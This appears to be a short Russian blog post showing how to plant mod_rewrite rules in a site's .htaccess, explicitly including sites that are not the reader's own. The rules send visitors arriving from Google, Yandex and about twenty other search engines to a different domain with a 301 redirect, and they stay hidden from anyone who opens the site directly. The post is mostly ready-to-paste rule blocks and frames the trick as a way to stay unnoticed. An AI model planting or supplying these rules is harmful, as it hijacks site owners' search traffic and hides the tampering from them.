Привет мой дорогой %username%! Если возникла такая ситуация, что нужно перенаправить людей с твоего (или не твоего) сайта, и при этом остаться незамеченным — выход есть.
Редактируем .htaccess, и вписываем туда код:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteRule ^(.*)$ http://bo0om.ru [R=301,L]
Итак, мы перенаправляем всех, кто перешёл с google на bo0om.ru, отправляя заветный 301 редирект (перемещен навсегда).
Что из этого следует — на целевом сайте резко упадёт посещаемость, если она, конечно, была. Но зайдя по чистой ссылке — сайт нормально откроется.
По идее, можно мониторить поисковик по определённому запросу, например
RewriteCond %{HTTP_REFERER} .*yandex.*/yandsearch?text=%EF%EE%F0%ED%F3%F5%E0
или параметр q= в гугле.
Для ценителей редиректов приготовил целый список поисковиков, в том числе под буржнет:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} go.mail.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*nigma.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://site.com [R=301,L]
Правда перенаправление будет, с сайта, например, vasya.lyubit.google.blog.kakashka.com но какая уже разница?
а яшку то забыл добавить